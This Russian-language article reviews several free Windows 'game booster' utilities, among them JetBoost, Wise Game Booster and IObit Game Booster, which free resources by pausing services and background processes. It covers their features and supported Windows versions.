Некоторые приложения требуют значительных системных ресурсов. Фоновое обновление компонентов Windows, запуск запланированных заданий, дефрагментация жёсткого диска или другие системные процессы, которые запускаются в автоматическом режиме, могут препятствовать стабильной работе компьютера. Многие задачи на ПК также требуют закрытия всех запущенных в данный момент программ, и при установке большинства программного обеспечения необходимо закрывать все другие приложения, чтобы минимизировать конфликты и избежать замены используемых файлов.

Один из способов запрета запуска программ и определённых служб – использовать инструмент, который может сделать это автоматически. Теоретически, чем меньше вы работаете в фоновом режиме, занимая процессорное время, память и используя жёсткий диск, тем быстрее и стабильнее будет запускаться игра или интенсивное приложение. Вот несколько самых популярных программ, с помощью которых можно запретить автозагрузку приложений.

AlacrityPC

AlacrityPC основан на старом инструменте повышения производительности, называемом FSAutoStart, который был создан специально для разгона Microsoft Flight Simulator. Теперь он разработан, чтобы помочь вам максимально эффективно использовать свой компьютер при выполнении любых ресурсоёмких задач, заранее отключив ненужные службы и заблокировав запуск приложений. AlacrityPC работает с профилями, и вы можете использовать одно из значений по умолчанию или задать собственный настройки, чтобы отключить именно те процессы и службы, которые вы хотите. Перетащите значок профиля на рабочий стол, чтобы запустить его автоматически.

Программа AlacrityPC для ПК

Существуют некоторые дополнительные оптимизации, такие как дефрагментация памяти, выключение оболочки рабочего стола, удаление обоев и выключение/перезагрузка системы после закрытия программы автозапуска. Автозапуск запустит программу после применения форсирования, а затем вернётся обратно после закрытия программы.

AlacrityPC не обновлялся с 2008 года, хотя известно, что он работает с Windows 7, и на сайте есть небольшое обновление, но вы должны вручную скопировать файлы в папку ProgramFiles. Чтобы отключить сообщение об ошибке обновления при запуске, выберите Сервис/Параметры. Для работы приложения требуется .NET Framework 2.0.

JetBoost

Если вы ищете удобное приложение-бустер, которое не требует большого количества настроек, вам обязательно стоит попробовать JetBoost. Интерфейс приложения прост и понятен – для запуска программы в Windows просто нажмите кнопку Boost.

JetBoost

Метод увеличение производительности по умолчанию не слишком агрессивен и просто отключит некоторые службы, очистит системную память, буфер обмена, изменит профиль питания на высокую производительность и предотвратит запуск автоматических обновлений. Если вы хотите получить больше контроля, отключив больше функций, нажмите кнопку «Настроить». Здесь можно отключить запущенные процессы, сторонние службы и Explorer.exe.

Немного странная, но полезная функция – возможность создавать переносную версию из установленного приложения. Для этого нажмите значок «Дополнительно» в правом верхнем углу окна. JetBoost работает от Windows 2000 до Windows 10 32-разрядных и 64-разрядных.

ToolWiz GameBoost

ToolWiz GameBoost – это ещё один простой в использовании инструмент. Он не будет путать вас множеством опций, которые потенциально могут вызвать системные проблемы. Как и в JetBoost, если вы хотите использовать программу без каких-либо настроек, просто загрузите её и нажмите EnterGameBoostMode – она начнёт закрываться и оптимизировать перечисленные компоненты системы.

ToolWiz GameBoost

Фактически, GameBoost не имеет много параметров для настройки. Здесь только 2 раздела, которые называются BootOption 1 и BoostOption 2. У Option 1 есть единственная опция по умолчанию, которая не включена: вы можете дефрагментировать файлы и папки, в которых находится игра.

Память и все параметры Option2, такие как отключение запланированных задач, обновление Windows, поддержка принтера, Aeroglass, ввод с планшета, сетевое окружение и т. д., включены по умолчанию. Работает от WindowsXP до Windows10.

Wise Game Booster

Wiseбольше известен своими приложениями для очистки и оптимизации дисков/реестра. GameBooster – ещё один отличный инструмент, который может помочь максимизировать количество системных ресурсов, доступных для игр или интенсивных приложений. Чтобы быстро оптимизировать систему, просто нажмите кнопку «Оптимизировать все» на вкладке «Мои игры». Вкладка «Мои игры» – это область ярлыков, в которую можно поместить любимые приложения, запускаемые во время использования программы.

Wise Game Booster

Помимо ряда системных служб и любых ненужных процессов, которые отключаются при оптимизации системы, можно настроить около 20 системных параметров, таких как запуск Explorer в отдельном процессе, оптимизация 5 сетевых настроек и повышение скорости отклика нескольких систем.

К сожалению, в программе нет простой кнопки восстановления, чтобы вернуть все настройки пользователя по умолчанию, и вам придётся настраивать каждый раздел отдельно. Работает на Windows XP и выше, доступна портативная версия.

Процессы в Wise Game Booster

GBoost

Внешне GBoost напоминает приложение для разгона компонентов ПК. Программа необходима для быстрого и лёгкогоотключения ненужных служб и процессов, чтобы получить последние единицы производительности своего компьютера. Кнопка «Нажать для ускорения» отключит компоненты по умолчанию и, чтобы восстановить всё обратно, снова нажмите эту же кнопку.

Циферблат вокруг кнопки ускорения – это показатель того, насколько оптимизированной GBoost считает систему: чем ближе к 100, тем лучше. Нажмите стрелку вниз или поле «Расширенный режим», чтобы получить список всего, что можно отключить. Опытным пользователям могут не понравиться общие названия для параметров отключения, таких как Gamer Utils, Graphic Artist или Music Players и т. д.

GBoost

SmartClose

SmartClose – это инструмент, который в некоторых случаях легче использовать, чем другие аналогичные программы, а в других – сложнее. То, как работает программа, больше похоже на ПО для резервного копирования, использующее образы «До» и «После», чтобы отключить процессы и службы, а затем восстановить их снова. Полезной функцией является мастер настройки Windows, который поможет вам в процессе создания образа системы.

На этапе настройки мастера вы можете закрыть все открытые процессы, закрыть окна (Internet) Explorer, отключить заставку, остановить службы и создать файл образа. Если вы хотите, чтобы SmartClose никогда не останавливал определённый процесс, его необходимо настроить и добавить в качестве защищённой программы.

SmartClose

Если вы хотите остановить или защитить выбранные службы, они должны быть настроены в текстовом файле INI с помощью Блокнота. Вы можете сохранить несколько образов для разных сценариев, а затем восстановить или отредактировать любой из них с помощью мастера. Работает на Windows XP, Vista и 7.

Game Booster

Game Booster от IObit– это, пожалуй, самый тщательный и продвинутый бесплатный инструмент для улучшения системы из всех, если вы серьёзный геймер и хотите выжать из своей системы каждый последний кадр в секунду. Он работает, как и большинство других инструментов, временно отключая фоновые процессы, останавливая службы, очищая оперативную память, очищая буфер обмена и отключая обновление Windows. Если вы хотите попробовать и посмотреть, как это работает без особых настроек, просто нажмите на большую кнопку Start Boost.

Вы можете сами перейти к настройке процесса, сервиса и других общих настроек с помощью кнопки «Настроить» и добавить игры в Песочницу, которая скорее представляет собой окно быстрого запуска и ускорения. Game Booster идёт ещё дальше, предоставляя возможность проверять наличие обновлений драйверов, дефрагментировать файлы для каждой отдельной игры в Game Box и применять несколько общих системных настроек. В нижней части окна также есть монитор температуры.

Game Booster

Другие полезные дополнительные инструменты для геймеров – это возможность сохранить скриншот или даже видео вашей сессии и установить счётчик FPS на игровом экране. Они управляются через настраиваемые горячие клавиши.

В последней версии Game Booster IObit сотрудничал с производителем периферийных устройств для ПК Razer, и теперь вам необходимо создать учётную запись в Razer для использования этой программы. Многие давние пользователи Game Booster рекомендуют более раннюю бета-версию 3.4 или 3.5, поскольку они не требуют регистрации, в два раза меньше по размеру, но имеют схожие функции.

Эффективность этих инструментов, очевидно, зависит от нескольких факторов, и результат от компьютера к компьютеру будет отличаться. Если ваша система в хорошем состоянии, и вы строго контролируете, какие службы включены и какие программы запускаются в вашем трее и т. д., результативность, скорее всего, будет слишком минимальной, чтобы её заметить. Однако, если у вас есть несколько задач, выполняющихся в фоновом режиме, или ваша система не очень мощная, отключение всего возможного может дать достаточный прирост производительности для заметного ускорения.

Понравилась статья? Поделить с друзьями:
  • Запрет запуска программ через групповые политики windows server 2019
  • Запрет запуска программ через групповые политики windows server 2016
  • Запрет запуска программ windows 10 для пользователей
  • Запрет запуска приложений windows 10 для пользователя
  • Запрет запуска определенных программ windows 10